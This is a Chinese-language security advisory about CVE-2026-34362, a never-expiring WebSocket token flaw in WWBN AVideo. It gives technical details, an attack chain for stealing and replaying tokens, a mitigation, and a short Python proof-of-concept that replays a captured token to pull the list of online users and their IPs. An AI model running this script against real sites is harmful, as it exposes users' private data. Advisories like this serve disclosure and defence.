IPBUF安全漏洞报告
English
CVE-2026-34362 CVSS 5.4 中危

CVE-2026-34362 AVideo WebSocket Token永不过期漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34362
漏洞类型
认证绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

认证绕过逻辑漏洞WWBN AVideo信息泄露WebSocket

漏洞概述

WWBN AVideo <= 26.0版本存在逻辑漏洞,`verifyTokenSocket()`函数的token超时验证被注释。导致WebSocket token永久有效,攻击者可利用捕获的token长期访问系统,获取用户敏感信息。

技术细节

该漏洞位于`plugin/YPTSocket/functions.php`文件中的`verifyTokenSocket()`函数。开发人员在代码中注释掉了用于验证WebSocket token超时时间的逻辑块。尽管系统在生成token时设定了12小时的有效期,但由于验证逻辑缺失,服务端实际上不再检查token的生成时间。这导致任何已签发的WebSocket token均可无限期使用。攻击者若通过其他途径(如XSS攻击或中间人攻击)获取了受害者的token,即便受害者账户已被删除或封禁,攻击者仍可使用该token建立WebSocket连接。特别是拥有管理员权限的token,攻击者可利用其获取所有在线用户的IP地址、浏览器类型及浏览页面等敏感实时数据,严重侵犯了系统机密性和完整性。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站使用的是WWBN AVideo平台,且版本小于等于26.0。
STEP 2
获取Token
攻击者通过XSS攻击、网络嗅探或利用低权限账户,获取到一个合法的WebSocket Token(最好是Admin Token)。
STEP 3
利用漏洞
攻击者等待Token达到理论过期时间(12小时)或等待原账户被删除/封禁后,使用该Token尝试连接WebSocket接口。
STEP 4
维持访问
由于系统未验证Token超时,连接成功建立。攻击者利用该连接获取实时用户数据(IP、位置等),实现长期未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-34362 Demonstrates that a WebSocket token does not expire. """ import asyncio import websockets import json # Target configuration (Example) TARGET_URL = "ws://target-avideo-site.com/plugin/YPTSocket/functions.php" # Assume this token was captured and is theoretically 'expired' (older than 12 hours) # Due to the vulnerability, this token will still be accepted. CAPTURED_TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...captured_token_string..." async def exploit(): try: # Construct the WebSocket URI with the token or pass it in the handshake/message # Depending on implementation, usually passed as a query param or in the initial message uri = f"{TARGET_URL}?token={CAPTURED_TOKEN}" print(f"[*] Attempting to connect to WebSocket with captured token...") async with websockets.connect(uri) as websocket: print("[+] Connection established! Token accepted despite potential expiration.") # Send a message to retrieve admin data (if token has admin privileges) payload = { "function": "getUsersList", "params": {} } await websocket.send(json.dumps(payload)) response = await websocket.recv() data = json.loads(response) print("[+] Received data from server:") print(json.dumps(data, indent=2)) # Check if sensitive info (IP, etc.) is present if "users" in data or "ip" in str(data): print("[!] Successfully leaked sensitive user information via old token.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(exploit())

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
如果不能立即升级,请手动编辑`plugin/YPTSocket/functions.php`文件,取消注释`verifyTokenSocket()`函数中关于Token超时验证的代码块,确保Token的有效性得到正确检查,并重启WebSocket服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表